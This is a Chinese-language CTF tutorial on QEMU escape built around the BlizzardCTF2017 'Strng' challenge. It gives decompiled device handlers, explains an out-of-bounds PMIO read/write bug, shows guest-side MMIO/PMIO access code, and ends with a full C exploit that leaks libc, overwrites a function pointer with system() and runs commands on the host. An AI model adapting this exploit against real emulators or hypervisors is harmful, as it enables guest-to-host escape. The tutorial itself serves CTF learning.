QEMU 逃逸入门¶
QEMU 逃逸本质上和用户态的 Pwn 题没有太大区别,只不过呈现形式略有不同。题目本身通常以一个 QEMU 模拟设备的形式进行呈现,该设备通常会实现一些功能并提供用户可操纵的 MMIO/PMIO 接口。选手通常需要编写一个与这些接口进行交互的程序并传到远程主机上运行以完成利用(类似于内核 Pwn)。
下面我们通过一道例题来了解 QEMU Pwn 题目的基本做法。
例题:BlizzardCTF2017 - Strng¶
注:题目环境可以在 Github 进行下载,登入用户名为
ubuntu
,密码为passw0rd
。
题目分析¶
首先查看启动脚本,可以发现其通过 -device strng
参数载入了一个自定义设备 strng
。
./qemu-system-x86_64 \
-m 1G \
-device strng \
-hda my-disk.img \
-hdb my-seed.img \
-nographic \
-L pc-bios/ \
-enable-kvm \
-device e1000,netdev=net0 \
-netdev user,id=net0,hostfwd=tcp::5555-:22
直接将 QEMU 拖入 IDA 进行分析,首先通过字符串窗口找到 "strng"
,从而找到该设备的初始化函数:
可以看到该设备分别注册了 MMIO 与 PMIO 功能接口,并且在一些位置上放上了几个函数指针:
void __fastcall strng_instance_init(Object_0 *obj)
{
Object_0 *v1; // rax
v1 = object_dynamic_cast_assert(obj, "strng", "/home/rcvalle/qemu/hw/misc/strng.c", 145, "strng_instance_init");
*(_QWORD *)&v1[76].ref = &srand;
v1[76].parent = (Object_0 *)&rand;
v1[77].class = (ObjectClass_0 *)&rand_r;
}
void __fastcall pci_strng_realize(PCIDevice_0 *pdev, Error_0 **errp)
{
memory_region_init_io(
(MemoryRegion_0 *)&pdev[1],
&pdev->qdev.parent_obj,
&strng_mmio_ops,
pdev,
"strng-mmio",
0x100uLL);
pci_register_bar(pdev, 0, 0, (MemoryRegion_0 *)&pdev[1]);
memory_region_init_io(
(MemoryRegion_0 *)&pdev[1].io_regions[0].size,
&pdev->qdev.parent_obj,
&strng_pmio_ops,
pdev,
"strng-pmio",
8uLL);
pci_register_bar(pdev, 1, 1u, (MemoryRegion_0 *)&pdev[1].io_regions[0].size);
}
IDA 反编译出来的放置函数指针的位置怪怪的,这里直接看汇编源码:
.text:000000000041033E call object_dynamic_cast_assert
.text:0000000000410343 strng = rax ; STRNGState *
.text:0000000000410343 mov rdx, cs:srand_ptr_0
.text:000000000041034A mov [strng+0BF8h], rdx
.text:0000000000410351 mov rdx, cs:rand_ptr_0
.text:0000000000410358 mov [strng+0C00h], rdx
.text:000000000041035F mov rdx, cs:rand_r_ptr
.text:0000000000410366 mov [strng+0C08h], rdx
接下来我们跳转到函数表中对应的函数进行分析,在 (u32*)opaque[701]
处存在一个 unsigned int
数组(这里我们定义为 opaque->buf
),MMIO 的 read 主要是简单的读取 opaque->buf[(addr >> 2)]
上的 4 字节内容,看起来似乎可以存在一个越界读取,但是在 QEMU 内部会检查 MR 访问范围(addr)是否超过定义的内存范围,所以其实是没法进行越界读取的:
opaque
参数其实就是设备加载时动态分配的PCIDevice
类的一个自定义子类。
uint64_t __fastcall strng_mmio_read(void *opaque, hwaddr addr, unsigned int size)
{
uint64_t result; // rax
result = -1LL;
if ( size == 4 && (addr & 3) == 0 )
result = *((unsigned int *)opaque + (addr >> 2) + 701);
return result;
}
MMIO 的 write 功能则根据写入的地址不同提供了不同的功能(有点乱):
- 地址为
0
:将(u64*)opaque[383]
处数据作为函数指针进行调用,参数为传入的值 - 地址为
1 << 2
:将(u64*)opaque[384]
处数据作为函数指针进行调用,并将结果写入opaque->buf[3]
- 地址为
其他值 << 2
:在opaque->buf[(addr>>2)]
处写入传入的值 - 若地址为
3 << 2
,则会在此之前将(u64*)opaque[385]
处数据作为函数指针进行调用,参数为&((char*)opaque[2812])
,并往opaque->buf[3]
写入传入的值
void __fastcall strng_mmio_write(void *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
hwaddr v4; // rsi
int v5; // eax
int vala; // [rsp+8h] [rbp-30h]
if ( size == 4 && (addr & 3) == 0 )
{
v4 = addr >> 2;
if ( (_DWORD)v4 == 1 )
{
*((_DWORD *)opaque + 702) = (*((__int64 (__fastcall **)(void *, hwaddr, uint64_t))opaque + 384))(opaque, v4, val);
}
else if ( (_DWORD)v4 )
{
if ( (_DWORD)v4 == 3 )
{
vala = val;
v5 = (*((__int64 (__fastcall **)(char *))opaque + 385))((char *)opaque + 2812);
LODWORD(val) = vala;
*((_DWORD *)opaque + 704) = v5;
}
*((_DWORD *)opaque + (unsigned int)v4 + 701) = val;
}
else
{
(*((void (__fastcall **)(_QWORD))opaque + 383))((unsigned int)val);
}
}
}
PMIO 的 read 功能则是进行数据读取:
- 若
addr == 0
,则返回(unsigned int *)opaque[700]
的值。 - 若
addr == 4
,则获取(unsigned int *)opaque[700]
的值v4
,若低 2 位为 0 则返回opaque->buf[(v4 >> 2)]
上数据。
若我们能够控制 (unsigned int *)opaque[700]
的值,则可以直接完成一个越界读。
uint64_t __fastcall strng_pmio_read(void *opaque, hwaddr addr, unsigned int size)
{
uint64_t result; // rax
unsigned int v4; // edx
result = -1LL;
if ( size == 4 )
{
if ( addr )
{
if ( addr == 4 )
{
v4 = *((_DWORD *)opaque + 700);
if ( (v4 & 3) == 0 )
result = *((unsigned int *)opaque + (v4 >> 2) + 701);
}
}
else
{
result = *((unsigned int *)opaque + 700);
}
}
return result;
}
PMIO 的 write 功能定义如下:
- 若
addr == 0
,则将传入的值写入(unsigned int *)opaque[700]
,因此结合 PMIO read 我们便可以完成越界读。 - 若
addr == 4
,则获取(unsigned int *)opaque[700]
的值v4
,若低 2 位为 0 则取v5 = v4 >>2
: - 若
v5 == 1
,则调用(u64*)opaque[384]
处函数指针,返回值写入opaque->buf[1]
,参数见代码 - 若
v5 == 3
,则调用(u64*)opaque[385]
处函数指针,返回值写入opaque->buf[3]
,参数见代码 - 若
v5 != 0
,则将传入的值写入opaque->buf[v5]
- 若
v5 == 1
,则调用(u64*)opaque[383]
处函数指针,参数为我们传入的值
void __fastcall strng_pmio_write(void *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
unsigned int v4; // eax
__int64 v5; // rax
if ( size == 4 )
{
if ( addr )
{
if ( addr == 4 )
{
v4 = *((_DWORD *)opaque + 700);
if ( (v4 & 3) == 0 )
{
v5 = v4 >> 2;
if ( (_DWORD)v5 == 1 )
{
*((_DWORD *)opaque + 702) = (*((__int64 (__fastcall **)(void *, __int64, uint64_t))opaque + 384))(
opaque,
4LL,
val);
}
else if ( (_DWORD)v5 )
{
if ( (_DWORD)v5 == 3 )
*((_DWORD *)opaque + 704) = (*((__int64 (__fastcall **)(char *, __int64, uint64_t))opaque + 385))(
(char *)opaque + 2812,
4LL,
val);
else
*((_DWORD *)opaque + v5 + 701) = val;
}
else
{
(*((void (__fastcall **)(_QWORD))opaque + 383))((unsigned int)val);
}
}
}
}
else
{
*((_DWORD *)opaque + 700) = val;
}
}
}
漏洞利用¶
由于 PMIO read 功能的读取地址由 (unsigned int *)opaque[700]
决定,而该值可以通过PMIO write 写入 addr == 0
处进行修改,由于题目一开始便在 opaque
靠后的放置了一些函数指针,因此我们可以通过读取这些函数指针泄露 libc 基址。
同样地,当 addr == 4
时,PMIO write 会向指定地址 + 偏移处写入数据,而该偏移值为我们可控的 (unsigned int *)opaque[700]
,因此我们可以非常方便地劫持 opaque
上的函数指针,而这些函数指针又可以通过 MMIO write 与 PMIO write 进行触发,因此不难想到的是我们可以通过劫持这些函数指针来完成控制流劫持。
当 (unsigned int *)opaque[700] == 3
时,调用函数指针会传入一个 opaque
上地址作为第一个参数,而该处数据同样是我们可控的,因此我们可以在该处先写入字符串后再劫持函数指针为 system()
后直接调用即可完成 Host 上的任意命令执行。
交互方式¶
QEMU pwn 题会提供给我们一个 local Linux 环境,通常都有着 root 权限(除了一些套娃题目会要求选手先完成提权),通常我们我们需要使用 C 编写 exp,将其进行静态编译后传输到远程运行。有的题目也会提供本地编译环境(例如本题),这样我们便只需要传输 exp 的源代码到远程再编译运行即可。
首先说一下与题目进行交互的方式。QEMU pwn 的漏洞通常出现在一个自定义 PCI 设备中,我们可以通过 lspci
命令查看现有的 PCI 设备,在每个设备开头都可以看到形如 xx:yy.z
的十六进制编号,这个格式其实是 总线编号:设备编号.功能编号
,当我们使用 lspci -v
查看 PCI 设备信息时,在总线编号前面的 4 位数字便是 PCI 域的编号。
通常我们可以看到一个未被识别的设备,这通常便是题目设备。这里我们可以看到 PMIO 地址为 0xc050
,MMIO 地址(物理地址)为 0xfebf1000
:
对于 PMIO 交互方式,我们可以先通过 iopl(3)
获取交互权限,接下来直接使用 in()
与 out()
系函数即可读写端口,需要注意的是端口地址应与读写长度对齐(例如读写 4 字节则端口地址需要对齐到 4),下面是一个例子:
void pmio_write(uint32_t port, uint32_t val)
{
outl(val, port);
}
uint32_t pmio_read(uint32_t port)
{
return inl(port);
}
int main(int argc, char **argv, char **envp)
{
uint32_t pmio_port = 0xc050;
uint32_t val;
//...
if (iopl(3) < 0) {
errExit("failed to change i/o privilege! no root?");
}
/* This is just an example */
val = pmio_read(pmio_port);
pmio_write(pmio_port + 4, 0xdeadbeef)
MMIO 的交互方式则略有麻烦,因为 MMIO 本质上是直接读写对应的物理地址,不过我们可以通过 mmap()
映射 sysfs 下的资源文件来完成内存访问。以本题为例,通过 lspci
命令获取到的编号为 00:03.0
,那么我们便可以通过 mmap()
映射 /sys/devices/pci0000:00/0000:00:03.0/resource0
文件直接完成 MMIO。类似于 PMIO,MMIO 的读写地址同样需要对齐到读写长度。下面是一个例子:
void mmio_write(uint32_t *addr, uint32_t val)
{
*addr = val;
}
uint32_t mmio_read(uint32_t *addr)
{
return *addr;
}
int main(int argc, char **argv, char **envp)
{
uint64_t mmio_addr;
int mmio_fd;
long val;
//...
mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0",
O_RDWR | O_SYNC);
if (mmio_fd < 0) {
errExit("failed to open mmio file! wrong path or no root?");
}
mmio_addr = (uint64_t)
mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_addr == MAP_FAILED) {
errExit("failed to mmap mmio space!");
}
val = mmio_read(mmio_addr);
mmio_write(mmio_addr + 4, 0xbeefdead);
注:我们也可以通过映射
/sys/devices/pci0000:00/0000:00:03.0/resource1
文件的形式来以内存读写的形式完成 PMIO。
完整 exp 如下,执行了 cat ./flag
与弹计算器的命令:
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <stdint.h>
#include <sys/io.h>
#define STRNG_MMIO_REGS 64
#define STRNG_MMIO_SIZE (STRNG_MMIO_REGS * sizeof(uint32_t))
#define STRNG_PMIO_ADDR 0
#define STRNG_PMIO_DATA 4
#define STRNG_PMIO_REGS STRNG_MMIO_REGS
#define STRNG_PMIO_SIZE 8
char calc_str[0x100] = ";cat ./flag;gnome-calculator";
char sh_str[0x100] = "/bin/sh";
void errExit(char * msg)
{
printf("\033[31m\033[1m[x] Error: \033[0m%s\n", msg);
exit(EXIT_FAILURE);
}
void mmio_write(uint32_t *addr, uint32_t val)
{
*addr = val;
}
uint32_t mmio_read(uint32_t *addr)
{
return *addr;
}
void pmio_write(uint32_t port, uint32_t val)
{
outl(val, port);
}
uint32_t pmio_read(uint32_t port)
{
return inl(port);
}
int main(int argc, char **argv, char **envp)
{
uint64_t mmio_addr;
uint32_t pmio_port = 0xc050;
int mmio_fd;
uint32_t srand_addr_low, srand_addr_high;
uint64_t srand_addr;
uint64_t libc_addr;
uint64_t system_addr;
/*
* initialization
*/
mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0",
O_RDWR | O_SYNC);
if (mmio_fd < 0) {
errExit("failed to open mmio file! wrong path or no root?");
}
if (iopl(3) < 0) {
errExit("failed to change i/o privilege! no root?");
}
mmio_addr = (uint64_t)
mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_addr == MAP_FAILED) {
errExit("failed to mmap mmio space!");
}
/*
* regs[3] is not writable, because for addr 3 the rand_r() will be called
* so we fill some useless string there
*/
for (int i = 0; i < 4; i++)
mmio_write((uint32_t*)(mmio_addr + ((2 + i) << 2)), (uint32_t*)"aaaa");
for (int i = 0; i < 10; i++)
mmio_write((uint32_t*)(mmio_addr + ((6 + i) << 2)), ((uint32_t*)calc_str)[i]);
/*
* exploitation
*/
/*
* Stage.I - leaking libc addr
* set the strng->addr by pmio_write to a oob val
* so that we can make an oob read by pmio_read
*/
puts("[*] Stage.I - leaking libc addr\n");
pmio_write(pmio_port + STRNG_PMIO_ADDR, (STRNG_MMIO_REGS + 1) << 2);
srand_addr_low = pmio_read(pmio_port + STRNG_PMIO_DATA);
pmio_write(pmio_port + STRNG_PMIO_ADDR, (STRNG_MMIO_REGS + 2) << 2);
srand_addr_high = pmio_read(pmio_port + STRNG_PMIO_DATA);
srand_addr = srand_addr_high;
srand_addr <<= 32;
srand_addr += srand_addr_low;
libc_addr = srand_addr - 0x460a0;
system_addr = libc_addr + 0x50d60;
printf("[+] get addr of srand: 0x%llx\n", srand_addr);
printf("[+] libc addr: 0x%llx\n", libc_addr);
printf("[+] system addr: 0x%llx\n", system_addr);
/*
* Stage.II - overwrite the rand_r ptr
* set the strng->rand_r to system by oob write in pmio
*/
puts("\n[*] Stage.II - overwrite the rand_r ptr\n");
pmio_write(pmio_port + STRNG_PMIO_ADDR, (STRNG_MMIO_REGS + 5) << 2);
pmio_write(pmio_port + STRNG_PMIO_DATA, (uint32_t) system_addr);
pmio_write(pmio_port + STRNG_PMIO_ADDR, (STRNG_MMIO_REGS + 6) << 2);
pmio_write(pmio_port + STRNG_PMIO_DATA, (uint32_t) (system_addr >> 32));
puts("[+] write done!");
/*
* Stage.III - control flow hijack!
* call the strng->rand_r by pmio_write and hijack the control flow!
*/
puts("\n[*] Stage.III - control flow hijack\n");
puts("[*] trigger the strng->rand_r()...");
pmio_write(pmio_port + STRNG_PMIO_ADDR, 3 << 2);
pmio_write(pmio_port + STRNG_PMIO_DATA, 0xdeadbeef);
}